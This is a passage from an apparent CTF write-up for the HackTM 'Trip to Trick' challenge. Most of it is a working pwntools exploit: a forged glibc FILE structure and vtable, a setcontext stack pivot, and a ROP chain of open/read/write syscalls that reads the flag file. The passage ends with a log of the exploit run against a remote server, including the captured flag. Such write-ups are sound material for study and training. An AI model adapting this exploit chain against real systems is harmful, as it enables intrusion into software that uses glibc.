INPUT2 += p8(0x0) # _shortbuf
INPUT2 += p32(0x0) # _shortbuf
INPUT2 += p64(_IO_STDFILE_1_LOCK) # _lock
INPUT2 += p64(-0x1, signed=True) # _offset
INPUT2 += p64(0x0) # _codecvt
INPUT2 += p64(_IO_WIDE_DATA_1) # _wide_data
INPUT2 += p64(0x0) # _freeres_list
INPUT2 += p64(0x0) # _freeres_buf
INPUT2 += p64(0x0) # __pad5
INPUT2 += p32(-0x1, signed=True) # _mode
INPUT2 += p32(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(0x0) # _unused2
INPUT2 += p64(_IO_HELPER_JUMPS) # vtable

INPUT2 += p64(_IO_2_1_STDERR_) # stderr
INPUT2 += p64(_IO_2_1_STDOUT_) # stdout
INPUT2 += p64(_IO_2_1_STDIN_) # stdin
INPUT2 += p64(0)

#print(len(ROP_CHAIN))
INPUT2 += '\x00'*(0x1f*8) # __elf_set___libc_subfreeres
INPUT2 += p64(0)

# vtable IO_HELPER_JUMPS
INPUT2 += p64(0)+p64(0)+p64(SETCONTEXT_SPITVOT) # _IO_helper_jumps STACKPIVOT SETCONTEXT
"""
setcontext+0x35
mov rsp, [rdx+0A0h]
mov rbx, [rdx+80h]
mov rbp, [rdx+78h]
mov r12, [rdx+48h]
mov r13, [rdx+50h]
mov r14, [rdx+58h]
mov r15, [rdx+60h]
mov rcx, [rdx+0A8h]
push rcx
mov rsi, [rdx+70h]
mov rdi, [rdx+68h]
mov rcx, [rdx+98h]
mov r8, [rdx+28h]
mov r9, [rdx+30h]
mov rdx, [rdx+88h]
xor eax, eax
retn
"""

POPRAX = LIBC + 0x0000000000047cf8 # pop rax ; ret
POPRDI = LIBC + 0x0000000000026542 # pop rdi ; ret
POPRDX = LIBC + 0x000000000012bda6 # pop rdx ; ret
POPRSI = LIBC + 0x0000000000026f9e # pop rsi ; ret
SYSCALL = LIBC + 0x00000000000cf6c5 # syscall ; ret

FLAG_PATH = _IO_HELPER_JUMPS+0x178#LIBC+0x1baad8#+16*8
ROP_ADDR = _IO_HELPER_JUMPS+0xa8#LIBC+0x1baa08
ROP_CHAIN = p64(POPRAX)*2#p64(OPEN)
ROP_CHAIN += p64(2) + p64(POPRDI) + p64(FLAG_PATH) + p64(POPRSI) + p64(0) + p64(SYSCALL) # OPEN(file=flag_path) syscall == 2
ROP_CHAIN += p64(POPRAX) + p64(0) + p64(POPRDI) + p64(3) + p64(POPRSI) + p64(FLAG_PATH) + p64(POPRDX) + p64(0x49) +p64(SYSCALL) # READ(fd=3,buf=flag_path,nbytes=0x49) syscall == 0
ROP_CHAIN += p64(POPRAX) + p64(1) + p64(POPRDI) + p64(1) + p64(POPRSI) + p64(FLAG_PATH) + p64(POPRDX) + p64(0x49) +p64(SYSCALL) # WRITE(fd=1,buf=flag_path,nbyes=0x49) syscall == 1
ROP_CHAIN += "flag\x00"
#ROP_CHAIN = ''
INPUT2 += '\x00'*0x88+p64(ROP_ADDR)+ ROP_CHAIN #+ '\x00'*(190+7+3) + ROP_CHAIN#+ '\x00'*(0x90-0x88+0x8)+ p64(LIBC)

#INPUT2 += p64(0)*16*2 # _nl_global_locale
r.sendlineafter('1 : ', "%x %x" %(_IO_2_1_STDIN_+_IO_BUF_END,_IO_2_1_STDIN_+0x2000))
r.sendafter('2 : ', INPUT2)
#r.interactive()
flag = r.recvall(timeout=2)
r.close()
if 'HackTM' in flag:
print(flag)
return True
else:
return False

while not exploit():
pass

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python trip_to_trick.py REMOTE
[*] '/ctf/work/pwn/TripToTrick/trip_to_trick'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/pwn/TripToTrick/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 138.68.67.161 on port 20006: Done
[*] SYSTEM 0x7f1c8b934fd0
[*] LIBC 0x7f1c8b8e2000
[+] Receiving all data: Done (73B)
[*] Closed connection to 138.68.67.161 port 20006
HackTM{d747aab3b6d6a95300eede7e3337397ace5131240e0fa9b849058f27f635e182}

References